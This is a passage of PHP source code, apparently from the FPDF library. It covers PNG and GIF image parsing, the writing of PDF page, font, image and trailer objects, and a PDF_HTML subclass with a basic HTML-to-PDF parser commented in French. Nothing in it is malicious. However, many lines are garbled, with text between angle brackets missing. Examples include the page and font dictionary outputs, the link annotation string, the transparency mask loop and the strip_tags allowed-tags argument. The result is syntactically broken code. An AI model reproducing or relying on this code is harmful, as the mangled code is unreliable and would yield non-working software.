$this->_readstream($f,4);
}
elseif($type=='IDAT')
{
// Read image data block
$data .= $this->_readstream($f,$n);
$this->_readstream($f,4);
}
elseif($type=='IEND')
break;
else
$this->_readstream($f,$n+4);
}
while($n);
if($colspace=='Indexed' && empty($pal))
$this->Error('Missing palette in '.$file);
$info = array('w'=>$w, 'h'=>$h, 'cs'=>$colspace, 'bpc'=>$bpc, 'f'=>'FlateDecode', 'dp'=>$dp, 'pal'=>$pal, 'trns'=>$trns);
if($ct>=4)
{
// Extract alpha channel
if(!function_exists('gzuncompress'))
$this->Error('Zlib not available, can\'t handle alpha channel: '.$file);
$data = gzuncompress($data);
$color = '';
$alpha = '';
if($ct==4)
{
// Gray image
$len = 2*$w;
for($i=0;$i<$h;$i++)
{
$pos = (1+$len)*$i;
$color .= $data[$pos];
$alpha .= $data[$pos];
$line = substr($data,$pos+1,$len);
$color .= preg_replace('/(.)./s','$1',$line);
$alpha .= preg_replace('/.(.)/s','$1',$line);
}
}
else
{
// RGB image
$len = 4*$w;
for($i=0;$i<$h;$i++)
{
$pos = (1+$len)*$i;
$color .= $data[$pos];
$alpha .= $data[$pos];
$line = substr($data,$pos+1,$len);
$color .= preg_replace('/(.{3})./s','$1',$line);
$alpha .= preg_replace('/.{3}(.)/s','$1',$line);
}
}
unset($data);
$data = gzcompress($color);
$info['smask'] = gzcompress($alpha);
if($this->PDFVersion<'1.4')
$this->PDFVersion = '1.4';
}
$info['data'] = $data;
return $info;
}
function _readstream($f, $n)
{
// Read n bytes from stream
$res = '';
while($n>0 && !feof($f))
{
$s = fread($f,$n);
if($s===false)
$this->Error('Error while reading stream');
$n -= strlen($s);
$res .= $s;
}
if($n>0)
$this->Error('Unexpected end of stream');
return $res;
}
function _readint($f)
{
// Read a 4-byte integer from stream
$a = unpack('Ni',$this->_readstream($f,4));
return $a['i'];
}
function _parsegif($file)
{
// Extract info from a GIF file (via PNG conversion)
if(!function_exists('imagepng'))
$this->Error('GD extension is required for GIF support');
if(!function_exists('imagecreatefromgif'))
$this->Error('GD has no GIF read support');
$im = imagecreatefromgif($file);
if(!$im)
$this->Error('Missing or incorrect image file: '.$file);
imageinterlace($im,0);
$f = @fopen('php://temp','rb+');
if($f)
{
// Perform conversion in memory
ob_start();
imagepng($im);
$data = ob_get_clean();
imagedestroy($im);
fwrite($f,$data);
rewind($f);
$info = $this->_parsepngstream($f,$file);
fclose($f);
}
else
{
// Use temporary file
$tmp = tempnam('.','gif');
if(!$tmp)
$this->Error('Unable to create a temporary file');
if(!imagepng($im,$tmp))
$this->Error('Error while saving to temporary file');
imagedestroy($im);
$info = $this->_parsepng($tmp);
unlink($tmp);
}
return $info;
}
function _newobj()
{
// Begin a new object
$this->n++;
$this->offsets[$this->n] = strlen($this->buffer);
$this->_out($this->n.' 0 obj');
}
function _putstream($s)
{
$this->_out('stream');
$this->_out($s);
$this->_out('endstream');
}
function _out($s)
{
// Add a line to the document
if($this->state==2)
$this->pages[$this->page] .= $s."\n";
else
$this->buffer .= $s."\n";
}
function _putpages()
{
$nb = $this->page;
if(!empty($this->AliasNbPages))
{
// Replace number of pages
for($n=1;$n<=$nb;$n++)
$this->pages[$n] = str_replace($this->AliasNbPages,$nb,$this->pages[$n]);
}
if($this->DefOrientation=='P')
{
$wPt = $this->DefPageSize[0]*$this->k;
$hPt = $this->DefPageSize[1]*$this->k;
}
else
{
$wPt = $this->DefPageSize[1]*$this->k;
$hPt = $this->DefPageSize[0]*$this->k;
}
$filter = ($this->compress) ? '/Filter /FlateDecode ' : '';
for($n=1;$n<=$nb;$n++)
{
// Page
$this->_newobj();
$this->_out('<_out('/Parent 1 0 R');
if(isset($this->PageSizes[$n]))
$this->_out(sprintf('/MediaBox [0 0 %.2F %.2F]',$this->PageSizes[$n][0],$this->PageSizes[$n][1]));
$this->_out('/Resources 2 0 R');
if(isset($this->PageLinks[$n]))
{
// Links
$annots = '/Annots [';
foreach($this->PageLinks[$n] as $pl)
{
$rect = sprintf('%.2F %.2F %.2F %.2F',$pl[0],$pl[1],$pl[0]+$pl[2],$pl[1]-$pl[3]);
$annots .= '<_textstring($pl[4]).'>>>>';
else
{
$l = $this->links[$pl[4]];
$h = isset($this->PageSizes[$l[0]]) ? $this->PageSizes[$l[0]][1] : $hPt;
$annots .= sprintf('/Dest [%d 0 R /XYZ 0 %.2F null]>>',1+2*$l[0],$h-$l[1]*$this->k);
}
}
$this->_out($annots.']');
}
if($this->PDFVersion>'1.3')
$this->_out('/Group <>');
$this->_out('/Contents '.($this->n+1).' 0 R>>');
$this->_out('endobj');
// Page content
$p = ($this->compress) ? gzcompress($this->pages[$n]) : $this->pages[$n];
$this->_newobj();
$this->_out('<<'.$filter.'/Length '.strlen($p).'>>');
$this->_putstream($p);
$this->_out('endobj');
}
// Pages root
$this->offsets[1] = strlen($this->buffer);
$this->_out('1 0 obj');
$this->_out('<_out($kids.']');
$this->_out('/Count '.$nb);
$this->_out(sprintf('/MediaBox [0 0 %.2F %.2F]',$wPt,$hPt));
$this->_out('>>');
$this->_out('endobj');
}
function _putfonts()
{
$nf = $this->n;
foreach($this->diffs as $diff)
{
// Encodings
$this->_newobj();
$this->_out('<>');
$this->_out('endobj');
}
foreach($this->FontFiles as $file=>$info)
{
// Font file embedding
$this->_newobj();
$this->FontFiles[$file]['n'] = $this->n;
$font = file_get_contents($this->fontpath.$file,true);
if(!$font)
$this->Error('Font file not found: '.$file);
$compressed = (substr($file,-2)=='.z');
if(!$compressed && isset($info['length2']))
$font = substr($font,6,$info['length1']).substr($font,6+$info['length1']+6,$info['length2']);
$this->_out('<_out('/Filter /FlateDecode');
$this->_out('/Length1 '.$info['length1']);
if(isset($info['length2']))
$this->_out('/Length2 '.$info['length2'].' /Length3 0');
$this->_out('>>');
$this->_putstream($font);
$this->_out('endobj');
}
foreach($this->fonts as $k=>$font)
{
// Font objects
$this->fonts[$k]['n'] = $this->n+1;
$type = $font['type'];
$name = $font['name'];
if($type=='Core')
{
// Core font
$this->_newobj();
$this->_out('<_out('/BaseFont /'.$name);
$this->_out('/Subtype /Type1');
if($name!='Symbol' && $name!='ZapfDingbats')
$this->_out('/Encoding /WinAnsiEncoding');
$this->_out('>>');
$this->_out('endobj');
}
elseif($type=='Type1' || $type=='TrueType')
{
// Additional Type1 or TrueType/OpenType font
$this->_newobj();
$this->_out('<_out('/BaseFont /'.$name);
$this->_out('/Subtype /'.$type);
$this->_out('/FirstChar 32 /LastChar 255');
$this->_out('/Widths '.($this->n+1).' 0 R');
$this->_out('/FontDescriptor '.($this->n+2).' 0 R');
if(isset($font['diffn']))
$this->_out('/Encoding '.($nf+$font['diffn']).' 0 R');
else
$this->_out('/Encoding /WinAnsiEncoding');
$this->_out('>>');
$this->_out('endobj');
// Widths
$this->_newobj();
$cw = &$font['cw'];
$s = '[';
for($i=32;$i<=255;$i++)
$s .= $cw[chr($i)].' ';
$this->_out($s.']');
$this->_out('endobj');
// Descriptor
$this->_newobj();
$s = '<$v)
$s .= ' /'.$k.' '.$v;
if(!empty($font['file']))
$s .= ' /FontFile'.($type=='Type1' ? '' : '2').' '.$this->FontFiles[$font['file']]['n'].' 0 R';
$this->_out($s.'>>');
$this->_out('endobj');
}
else
{
// Allow for additional types
$mtd = '_put'.strtolower($type);
if(!method_exists($this,$mtd))
$this->Error('Unsupported font type: '.$type);
$this->$mtd($font);
}
}
}
function _putimages()
{
foreach(array_keys($this->images) as $file)
{
$this->_putimage($this->images[$file]);
unset($this->images[$file]['data']);
unset($this->images[$file]['smask']);
}
}
function _putimage(&$info)
{
$this->_newobj();
$info['n'] = $this->n;
$this->_out('<_out('/Subtype /Image');
$this->_out('/Width '.$info['w']);
$this->_out('/Height '.$info['h']);
if($info['cs']=='Indexed')
$this->_out('/ColorSpace [/Indexed /DeviceRGB '.(strlen($info['pal'])/3-1).' '.($this->n+1).' 0 R]');
else
{
$this->_out('/ColorSpace /'.$info['cs']);
if($info['cs']=='DeviceCMYK')
$this->_out('/Decode [1 0 1 0 1 0 1 0]');
}
$this->_out('/BitsPerComponent '.$info['bpc']);
if(isset($info['f']))
$this->_out('/Filter /'.$info['f']);
if(isset($info['dp']))
$this->_out('/DecodeParms <<'.$info['dp'].'>>');
if(isset($info['trns']) && is_array($info['trns']))
{
$trns = '';
for($i=0;$i
_out('/Mask ['.$trns.']');
}
if(isset($info['smask']))
$this->_out('/SMask '.($this->n+1).' 0 R');
$this->_out('/Length '.strlen($info['data']).'>>');
$this->_putstream($info['data']);
$this->_out('endobj');
// Soft mask
if(isset($info['smask']))
{
$dp = '/Predictor 15 /Colors 1 /BitsPerComponent 8 /Columns '.$info['w'];
$smask = array('w'=>$info['w'], 'h'=>$info['h'], 'cs'=>'DeviceGray', 'bpc'=>8, 'f'=>$info['f'], 'dp'=>$dp, 'data'=>$info['smask']);
$this->_putimage($smask);
}
// Palette
if($info['cs']=='Indexed')
{
$filter = ($this->compress) ? '/Filter /FlateDecode ' : '';
$pal = ($this->compress) ? gzcompress($info['pal']) : $info['pal'];
$this->_newobj();
$this->_out('<<'.$filter.'/Length '.strlen($pal).'>>');
$this->_putstream($pal);
$this->_out('endobj');
}
}
function _putxobjectdict()
{
foreach($this->images as $image)
$this->_out('/I'.$image['i'].' '.$image['n'].' 0 R');
}
function _putresourcedict()
{
$this->_out('/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]');
$this->_out('/Font <<');
foreach($this->fonts as $font)
$this->_out('/F'.$font['i'].' '.$font['n'].' 0 R');
$this->_out('>>');
$this->_out('/XObject <<');
$this->_putxobjectdict();
$this->_out('>>');
}
function _putresources()
{
$this->_putfonts();
$this->_putimages();
// Resource dictionary
$this->offsets[2] = strlen($this->buffer);
$this->_out('2 0 obj');
$this->_out('<<');
$this->_putresourcedict();
$this->_out('>>');
$this->_out('endobj');
}
function _putinfo()
{
$this->_out('/Producer '.$this->_textstring('FPDF '.FPDF_VERSION));
if(!empty($this->title))
$this->_out('/Title '.$this->_textstring($this->title));
if(!empty($this->subject))
$this->_out('/Subject '.$this->_textstring($this->subject));
if(!empty($this->author))
$this->_out('/Author '.$this->_textstring($this->author));
if(!empty($this->keywords))
$this->_out('/Keywords '.$this->_textstring($this->keywords));
if(!empty($this->creator))
$this->_out('/Creator '.$this->_textstring($this->creator));
$this->_out('/CreationDate '.$this->_textstring('D:'.@date('YmdHis')));
}
function _putcatalog()
{
$this->_out('/Type /Catalog');
$this->_out('/Pages 1 0 R');
if($this->ZoomMode=='fullpage')
$this->_out('/OpenAction [3 0 R /Fit]');
elseif($this->ZoomMode=='fullwidth')
$this->_out('/OpenAction [3 0 R /FitH null]');
elseif($this->ZoomMode=='real')
$this->_out('/OpenAction [3 0 R /XYZ null null 1]');
elseif(!is_string($this->ZoomMode))
$this->_out('/OpenAction [3 0 R /XYZ null null '.sprintf('%.2F',$this->ZoomMode/100).']');
if($this->LayoutMode=='single')
$this->_out('/PageLayout /SinglePage');
elseif($this->LayoutMode=='continuous')
$this->_out('/PageLayout /OneColumn');
elseif($this->LayoutMode=='two')
$this->_out('/PageLayout /TwoColumnLeft');
}
function _putheader()
{
$this->_out('%PDF-'.$this->PDFVersion);
}
function _puttrailer()
{
$this->_out('/Size '.($this->n+1));
$this->_out('/Root '.$this->n.' 0 R');
$this->_out('/Info '.($this->n-1).' 0 R');
}
function _enddoc()
{
$this->_putheader();
$this->_putpages();
$this->_putresources();
// Info
$this->_newobj();
$this->_out('<<');
$this->_putinfo();
$this->_out('>>');
$this->_out('endobj');
// Catalog
$this->_newobj();
$this->_out('<<');
$this->_putcatalog();
$this->_out('>>');
$this->_out('endobj');
// Cross-ref
$o = strlen($this->buffer);
$this->_out('xref');
$this->_out('0 '.($this->n+1));
$this->_out('0000000000 65535 f ');
for($i=1;$i<=$this->n;$i++)
$this->_out(sprintf('%010d 00000 n ',$this->offsets[$i]));
// Trailer
$this->_out('trailer');
$this->_out('<<');
$this->_puttrailer();
$this->_out('>>');
$this->_out('startxref');
$this->_out($o);
$this->_out('%%EOF');
$this->state = 3;
}
// End of class
}
function hex2dec($couleur = "#000000"){
$R = substr($couleur, 1, 2);
$rouge = hexdec($R);
$V = substr($couleur, 3, 2);
$vert = hexdec($V);
$B = substr($couleur, 5, 2);
$bleu = hexdec($B);
$tbl_couleur = array();
$tbl_couleur['R']=$rouge;
$tbl_couleur['V']=$vert;
$tbl_couleur['B']=$bleu;
return $tbl_couleur;
}
//conversion pixel -> millimeter at 72 dpi
function px2mm($px){
return $px*25.4/72;
}
function txtentities($html){
$trans = get_html_translation_table(HTML_ENTITIES);
$trans = array_flip($trans);
return strtr($html, $trans);
}
////////////////////////////////////
class PDF_HTML extends FPDF
{
//variables of html parser
var $B;
var $I;
var $U;
var $HREF;
var $fontList;
var $issetfont;
var $issetcolor;
function PDF_HTML($orientation='P', $unit='mm', $format='A4')
{
//Call parent constructor
$this->FPDF($orientation,$unit,$format);
//Initialization
$this->B=0;
$this->I=0;
$this->U=0;
$this->HREF='';
$this->fontlist=array('arial', 'times', 'courier', 'helvetica', 'symbol');
$this->issetfont=false;
$this->issetcolor=false;
}
function WriteHTML($html)
{
//HTML parser
$html=strip_tags($html,"
"); //supprime tous les tags sauf ceux reconnus
$html=str_replace("\n",' ',$html); //remplace retour a la ligne par un espace
$a=preg_split('/<(.*)>/U',$html,-1,PREG_SPLIT_DELIM_CAPTURE); //eclate la chaine avec les balises
foreach($a as $i=>$e)
{
if($i%2==0)
{
//Text
if($this->HREF)
$this->PutLink($this->HREF,$e);
else
$this->Write(5,stripslashes(txtentities($e)));
}
else
{
//Tag
if($e[0]=='/')
$this->CloseTag(strtoupper(substr($e,1)));
else
{
//Extract attributes
$a2=explode(' ',$e);
$tag=strtoupper(array_shift($a2));
$attr=array();
foreach($a2 as $v)
{
if(preg_match('/([^=]*)=["\']?([^"\']*)/',$v,$a3))
$attr[strtoupper($a3[1])]=$a3[2];
}
$this->OpenTag($tag,$attr);
}
}
}
}
function OpenTag($tag, $attr)
{
//Opening tag
switch($tag){
case 'STRONG':
$this->SetStyle('B',true);
break;
case 'EM':
$this->SetStyle('I',true);
break;
case 'B':
case 'I':
case 'U':
$this->SetStyle($tag,true);
break;
case 'A':
$this->HREF=$attr['HREF'];
break;
case 'IMG':
if(isset($attr['SRC']) && (isset($attr['WIDTH']) || isset($attr['HEIGHT']))) {
if(!isset($attr['WIDTH']))
$attr['WIDTH'] = 0;
if(!isset($attr['HEIGHT']))
$attr['HEIGHT'] = 0;
$this->Image($attr['SRC'], $this->GetX(), $this->GetY(), px2mm($attr['WIDTH']), px2mm($attr['HEIGHT']));
}
break;
case 'TR':
case 'BLOCKQUOTE':
case 'BR':
$this->Ln(5);
break;
case 'P':
$this->Ln(10);
break;
case 'FONT':
if (isset($attr['COLOR']) && $attr['COLOR']!='') {
$coul=hex2dec($attr['COLOR']);
$this->SetTextColor($coul['R'],$coul['V'],$coul['B']);
$this->issetcolor=true;
}
if (isset($attr['FACE']) && in_array(strtolower($attr['FACE']), $this->fontlist)) {
$this->SetFont(strtolower($attr['FACE']));
$this->issetfont=true;
}
break;
}
}
function CloseTag($tag)
{
//Closing tag
if($tag=='STRONG')
$tag='B';
if($tag=='EM')
$tag='I';
if($tag=='B' || $tag=='I' || $tag=='U')
$this->SetStyle($tag,false);
if($tag=='A')
$this->HREF='';
if($tag=='FONT'){
if ($this->issetcolor==true) {
$this->SetTextColor(0);
}
if ($this->issetfont) {
$this->SetFont('arial');
$this->issetfont=false;
}
}
}
function SetStyle($tag, $enable)
{
//Modify style and select corresponding font
$this->$tag+=($enable ? 1 : -1);
$style='';
foreach(array('B','I','U') as $s)
{
if($this->$s>0)
$style.=$s;
}
$this->SetFont('',$style);
}
function PutLink($URL, $txt)
{
//Put a hyperlink
$this->SetTextColor(0,0,255);
$this->SetStyle('U',true);
$this->Write(5,$txt,$URL);
$this->SetStyle('U',false);
$this->SetTextColor(0);
}
}//end of class
?>
|